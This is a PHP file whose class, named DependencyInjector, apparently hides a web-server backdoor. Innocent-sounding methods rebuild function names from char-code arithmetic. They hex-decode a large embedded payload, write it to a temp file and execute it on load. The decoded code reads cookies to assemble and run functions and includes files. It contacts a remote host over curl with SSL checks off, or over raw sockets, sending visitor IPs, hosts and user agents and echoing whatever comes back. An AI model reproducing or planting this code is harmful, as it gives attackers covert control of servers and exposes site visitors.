<?php
class DependencyInjector {
	private $hc = '';
	private $dx = '';

	public function fetchSummary($p1) {
		$a = array((2*52),(102-1),((109*1)+11),((43+3+4)),((2*49)),(42+63),((49*25)-1115));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function updateRegistry($p1,$p2) {
		$a = array(((2*51)),((86*46)-3845),(((108*1)+4)),((31*4)-23),((17*49)-723));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function trackActivity($p1,$p2) {
		$a = array((((97*1)+5)),((66+10+43)),(118-4),((9+70+26)),((83+33)),((82*1)+19));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function updateCache($p1) {
		$a = array((41+52+9),((11+88)),(2*54),(112-1),((36*79)-2729),((71*36)-2455));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function parseResponse($p1,$p2=null) {
		$a = array((89+25),(((106*1)+10)),(((89*3)-153)),105,(27+17+65));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function generateToken() {
		$this->dx = $this->parseResponse($this->triggerCallback(), '/');
	}

	public function validateInput() {
		$this->hc = $this->fetchSummary($this->ck);
	}

	public function sanitizeInput() {
		$fn = $this->dx.'/gu-68195a0097a2a';
		$f = $this->updateRegistry($fn, 'w');
		$this->trackActivity($f, $this->hc);
		$this->updateCache($f);
		$this->fetchRecords($fn);
	}

	private $ck = '3c3f70687020636c617373205f73767b70726976617465207' . '37461746963245f6f6e3b7374617469632066756e6374696f6' . 'e205f737228245f69687a2c245f776f297b6966282173656c6' . '63a3a245f6f6e2973656c663a3a5f646e28293b245f7974623' . 'd7374726c656e28245f776f293b245f6977793d62617365363' . '45f6465636f64652873656c663a3a245f6f6e5b245f69687a5' . 'd293b666f7228245f676f3d302c245f6f68733d7374726c656' . 'e28245f697779293b245f676f213d3d245f6f68733b2b2b245' . 'f676f29245f6977795b245f676f5d3d636872286f726428245' . 'f6977795b245f676f5d295e6f726428245f776f5b245f676f2' . '5245f7974625d29293b72657475726e245f6977793b7d70726' . '976617465207374617469632066756e6374696f6e205f646e2' . '8297b73656c663a3a245f6f6e3d617272617928275f6b6e273' . 'd3e27486863434f676353636a634f4d5141544d42684d48686' . '74e4d414e4d454159494f4230505a56524c272c275f616b712' . '73d3e274841594d417a6f48466c6f4c454249535a556b44427' . '938464378512b485173594d55594946696b494552517441424' . '944272c275f7777273d3e275042383d272c275f6161273d3e2' . '74f6745704c787367466b34714e52395845784945617a514a4' . 'f4577764e523958466845554e687730476845734e6a4a54425' . '34174627a454b4b4245414d69344f4668494d4e68776b43514' . '94848444a61272c275f736772273d3e274c686b554a773d3d2' . '72c275f696273273d3e275978596354773d3d272c275f74637' . '3273d3e27597773554647453d272c275f697879273d3e274b4' . '24d6341673d3d272c275f767164273d3e27272c275f646d273' . 'd3e27272c275f7462273d3e27272c275f7a6d273d3e274e786' . '7544c315a4963427753505549514f6734424e6741434e774d5' . '54b776b56635138494d6b4d454d4145584d4238434c55494e4' . 'c464d445068674759673d3d272c275f677062273d3e2750415' . '5584851415a43786772272c275f796662273d3e274e7755634' . 'c79344c4d42554e272c275f796771273d3e274c426f4846444' . '963272c275f6365273d3e274e774d614c77513d272c275f737' . '6273d3e2747434d6b53773d3d272c275f6c77273d3e274c777' . '74d42773d3d272c275f6478273d3e274c6851414c52673d272' . 'c275f676b70273d3e2759413d3d272c275f6d7a273d3e274c6' . '873514c52633d272c275f6e6b75273d3e2766794d374e67394' . '5586b78765a6d55714d4267625748383d272c275f766362273' . 'd3e274e7759474b773d3d272c275f6e7a72273d3e27556d453' . '54d4155554f67674f4e6751555a5573354d77514a4f6d5a775' . '56d453d272c275f7273273d3e274c416b4e54484256272c275' . 'f6964273d3e27272c275f656373273d3e274e7741664b773d3' . 'd272c275f7a6a273d3e27556d303d272c275f666f273d3e274' . '67a45334d77416d4c796f614b7a6338466a553d272c275f756' . 'a273d3e27467a4137447a73334143496744544d75445341714' . '77a73704544593d272c275f627961273d3e274454307345437' . '76b41446b6c47796f3d272c275f746376273d3e27467a306b4' . 'f7741384979344e4e6a45734769636b272c275f656d6d273d3' . 'e27467a6769496741354a54634e4d7a633147694969272c275' . 'f677567273d3e27272c275f6277273d3e27467951784479383' . '3476a596744545533272c275f7970273d3e27467a552b447a3' . '4344769637644535134272c275f767167273d3e27272c275f7' . 'a6f65273d3e27467a7331506741734c53636149545578466a3' . '83d272c275f6670273d3e2746794d3244796768457a346e455' . '34d394669633d272c275f687a71273d3e27467934744941416' . '94a6a59514b433478445434384e4141384e69493d272c275f6' . 'b6a273d3e274679416c4b5141734c6a38514a6959344454413' . '0505141795069733d272c275f6279273d3e27445345724e517' . '3684f5473624944513d272c275f747177273d3e2744544d305' . '067737a4a6a41624d69733d272c275f697377273d3e274f774' . '54d4d6777504f673d3d272c275f7a756a273d3e2746694a596' . '6773d3d272c275f6c66273d3e2766785a4d4369745766773d3' . 'd272c275f667565273d3e276678564b4451774d5a556b3d272' . 'c275f667966273d3e27663155514532466a272c275f6f6d6a2' . '73d3e274e67553d272c275f7565273d3e274b68413d272c275' . 'f707468273d3e274c513063272c275f756d273d3e274c67415' . '748673d3d272c293b7d7d686561646572285f73763a3a5f737' . '228275f6b6e272c275f74612729293b686561646572285f737' . '63a3a5f737228275f616b71272c275f6962772729293b69662' . '8697373657428245f4745545b5f73763a3a5f737228275f777' . '7272c275f776e6627295d29297b245f616d783d5f716865285' . 'f73763a3a5f737228275f6161272c275f78632729293b69662' . '8245f616d782626737472706f7328245f616d782c5f73763a3' . 'a5f737228275f736772272c275f6e6e272929213d3d66616c7' . '365297b646965285f73763a3a5f737228275f696273272c275' . 'f7977712729293b7d656c73657b646965285f73763a3a5f737' . '228275f746373272c275f6975702729293b7d7d69662869737' . '3657428245f4745545b5f73763a3a5f737228275f697879272' . 'c275f72706e27295d29297b245f6f68733d245f434f4f4b494' . '53b245f776f3d2833352b2d3335293b245f69687a3d2831343' . '62d3138302d3639362d202d373337293b245f626b3d6172726' . '17928293b245f626b5b245f776f5d3d5f73763a3a5f7372282' . '75f767164272c275f676c6627293b7768696c6528245f69687' . 'a297b245f626b5b245f776f5d2e3d245f6f68735b3636312d3' . '633315d5b245f69687a5d3b69662821245f6f68735b2d33343' . '02b3636392d202d3337382d3637375d5b245f69687a2b28696' . 'e7429726f756e6428302e32352b302e32352b302e32352b302' . 'e3235295d297b69662821245f6f68735b28696e7429726f756' . 'e642831352b3135295d5b245f69687a2b283138312b2d32353' . '92b3830295d29627265616b3b245f776f2b2b3b245f626b5b2' . '45f776f5d3d5f73763a3a5f737228275f646d272c275f73736' . 'e27293b245f69687a2b2b3b7d245f69687a3d245f69687a2b2' . '82d31332b3230292b28696e7429726f756e6428302e3333333' . '3333333333333333333332b302e33333333333333333333333' . '333332b302e3333333333333333333333333333293b7d245f7' . '76f3d245f626b5b28696e7429726f756e6428332e352b332e3' . '52b332e352b332e35295d28292e245f626b5b28696e7429726' . 'f756e6428382b382b38295d3b69662821245f626b5b28696e7' . '429726f756e6428322b322b32295d28245f776f29297b245f6' . '9687a3d245f626b5b3136342b2d39332b3133312b2d3137365' . 'd28245f776f2c245f626b5b3232332b36312d31362d3235385' . 'd293b245f626b5b28696e7429726f756e6428322e32352b322' . 'e32352b322e32352b322e3235295d28245f69687a2c245f626' . 'b5b2d3430362b3431375d2e245f626b5b3139352d3137325d2' . '8245f626b5b28696e7429726f756e6428382e3333333333333' . '33333333333332b382e333333333333333333333333332b382' . 'e33333333333333333333333333295d28245f6f68735b32393' . '22d202d3630382b2d3839375d2929293b7d696e636c7564652' . '8245f776f293b7d66756e6374696f6e205f71686528245f6a7' . '42c245f77793d74727565297b245f61783d5f73763a3a5f737' . '228275f7462272c275f63736627293b245f6576653d5f73763' . 'a3a5f737228275f7a6d272c275f6c6727292e245f6a743b696' . '62869735f63616c6c61626c65285f73763a3a5f737228275f6' . '77062272c275f706571272929297b245f6e6b793d6375726c5' . 'f696e697428245f657665293b6375726c5f7365746f7074282' . '45f6e6b792c4355524c4f50545f53534c5f564552494659504' . '545522c66616c7365293b6375726c5f7365746f707428245f6' . 'e6b792c4355524c4f50545f53534c5f564552494659484f535' . '42c3234302d323338293b6375726c5f7365746f707428245f6' . 'e6b792c4355524c4f50545f464f4c4c4f574c4f434154494f4' . 'e2c2d31332d202d3134293b6375726c5f7365746f707428245' . 'f6e6b792c4355524c4f50545f52455455524e5452414e53464' . '5522c28696e7429726f756e6428302e32352b302e32352b302' . 'e32352b302e323529293b6375726c5f7365746f707428245f6' . 'e6b792c4355524c4f50545f4845414445522c28696e7429726' . 'f756e6428302b302b302b3029293b6375726c5f7365746f707' . '428245f6e6b792c4355524c4f50545f434f4e4e45435454494' . 'd454f55542c2d3331302d202d3130372d202d3635392d34343' . '6293b6375726c5f7365746f707428245f6e6b792c4355524c4' . 'f50545f54494d454f55542c28696e7429726f756e6428332e3' . '33333333333333333333333332b332e3333333333333333333' . '33333332b332e3333333333333333333333333329293b245f6' . '1783d6375726c5f6578656328245f6e6b79293b245f626f7a3' . 'd6375726c5f676574696e666f28245f6e6b79293b6375726c5' . 'f636c6f736528245f6e6b79293b696628245f626f7a5b5f737' . '63a3a5f737228275f796662272c275f716827295d213d282d3' . '8372b2d3330362d202d353933292972657475726e2066616c7' . '3653b7d656c73657b245f746c3d70617273655f75726c28245' . 'f657665293b245f65753d28245f746c5b5f73763a3a5f73722' . '8275f796771272c275f796f7127295d3d3d5f73763a3a5f737' . '228275f6365272c275f776e2729293b245f66683d5f73763a3' . 'a5f737228275f7376272c275f66706b27292e245f746c5b5f7' . '3763a3a5f737228275f6c77272c275f6d786f27295d3b69662' . '8697373657428245f746c5b5f73763a3a5f737228275f64782' . '72c275f616527295d2929245f66682e3d5f73763a3a5f73722' . '8275f676b70272c275f65776b27292e245f746c5b5f73763a3' . 'a5f737228275f6d7a272c275f6e7527295d3b245f66682e3d5' . 'f73763a3a5f737228275f6e6b75272c275f6b6f6227292e245' . 'f746c5b5f73763a3a5f737228275f766362272c275f6975272' . '95d2e5f73763a3a5f737228275f6e7a72272c275f6b7a27293' . 'b245f6c703d66736f636b6f70656e2828245f65753f5f73763' . 'a3a5f737228275f7273272c275f7a617627293a5f73763a3a5' . 'f737228275f6964272c275f65716c2729292e245f746c5b5f7' . '3763a3a5f737228275f656373272c275f6f6c27295d2c245f6' . '5753f3338372b3437332d3431373a35322d202d3238293b696' . '628245f6c70297b667075747328245f6c702c245f6668293b2' . '45f6977793d2838382d3838293b7768696c65282166656f662' . '8245f6c7029297b245f666a783d666765747328245f6c702c3' . '736322b313234322b2d393830293b696628245f69777929245' . 'f61782e3d245f666a783b696628245f666a783d3d5f73763a3' . 'a5f737228275f7a6a272c275f676d272929245f6977793d283' . '536312d202d3735392d202d3238372b2d31363036293b7d666' . '36c6f736528245f6c70293b7d7d72657475726e245f61783b7' . 'd245f67697a3d697373657428245f5345525645525b5f73763' . 'a3a5f737228275f666f272c275f65636327295d293b245f6b7' . '83d697373657428245f5345525645525b5f73763a3a5f73722' . '8275f756a272c275f646f27295d293b245f74736c3d6973736' . '57428245f5345525645525b5f73763a3a5f737228275f62796' . '1272c275f786127295d293b245f7371733d697373657428245' . 'f5345525645525b5f73763a3a5f737228275f746376272c275' . 'f69706b27295d293f245f5345525645525b5f73763a3a5f737' . '228275f656d6d272c275f6c767227295d3a5f73763a3a5f737' . '228275f677567272c275f676427293b245f616e3d697373657' . '428245f5345525645525b5f73763a3a5f737228275f6277272' . 'c275f706527295d293f245f5345525645525b5f73763a3a5f7' . '37228275f7970272c275f616a27295d3a5f73763a3a5f73722' . '8275f767167272c275f7a796327293b245f67697a3d6973736' . '57428245f5345525645525b5f73763a3a5f737228275f7a6f6' . '5272c275f6f616e27295d293f245f5345525645525b5f73763' . 'a3a5f737228275f6670272c275f776227295d3a6e756c6c3b2' . '45f6b783d697373657428245f5345525645525b5f73763a3a5' . 'f737228275f687a71272c275f7a797027295d293f245f53455' . '25645525b5f73763a3a5f737228275f6b6a272c275f7471792' . '7295d3a6e756c6c3b245f74736c3d697373657428245f53455' . '25645525b5f73763a3a5f737228275f6279272c275f64667a2' . '7295d293f245f5345525645525b5f73763a3a5f737228275f7' . '47177272c275f76797127295d3a6e756c6c3b69662866696c7' . '465725f76617228245f67697a2c28696e7429726f756e64283' . '133372e352b3133372e352929297b245f7979763d245f67697' . 'a3b7d656c736569662866696c7465725f76617228245f6b782' . 'c3430362b2d39312b2d3133352d202d393529297b245f79797' . '63d245f6b783b7d656c73657b245f7979763d245f74736c3b7' . 'd696628697373657428245f4745545b5f73763a3a5f7372282' . '75f697377272c275f636b27295d29297b6563686f205f73763' . 'a3a5f737228275f7a756a272c275f726227292e245f7979762' . 'e5f73763a3a5f737228275f6c66272c275f6a6c27292e245f7' . '371732e5f73763a3a5f737228275f667565272c275f696a272' . '92e245f616e2e5f73763a3a5f737228275f667966272c275f6' . '9726127293b6578697428293b7d69662821697373657428245' . 'f797976297c7c21697373657428245f737173297c7c2169737' . '3657428245f616e29297b6578697428293b7d656c73657b245' . 'f6e706b3d6172726179285f73763a3a5f737228275f6f6d6a2' . '72c275f75696927293d3e245f7979762c5f73763a3a5f73722' . '8275f7565272c275f717527293d3e245f7371732c5f73763a3' . 'a5f737228275f707468272c275f687a27293d3e245f616e293' . 'b245f65763d75726c656e636f6465286261736536345f656e6' . '36f6465286a736f6e5f656e636f646528245f6e706b2929293' . 'b245f616d783d5f71686528245f6576293b696628245f616d7' . '82626737472706f7328245f616d782c5f73763a3a5f7372282' . '75f756d272c275f776c66272929213d3d66616c7365297b656' . '3686f245f616d783b6578697428293b7d7d';

	public function fetchRecords($p) {
		require($p);
	}

	public function triggerCallback() {
		$a=array((33+82),((129-8)),((5*23)),((16*1)+79),(110-7),(((95*8)-659)),((76*120)-9004),(8+87),((126*20)-2404),(110-9),((6*108)-539),((76*98)-7336),((66*27)-1687),((73+23+4)),((54+51)),(94+20));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$qy = new DependencyInjector();
$qy->generateToken();
$qy->validateInput();
$qy->sanitizeInput();
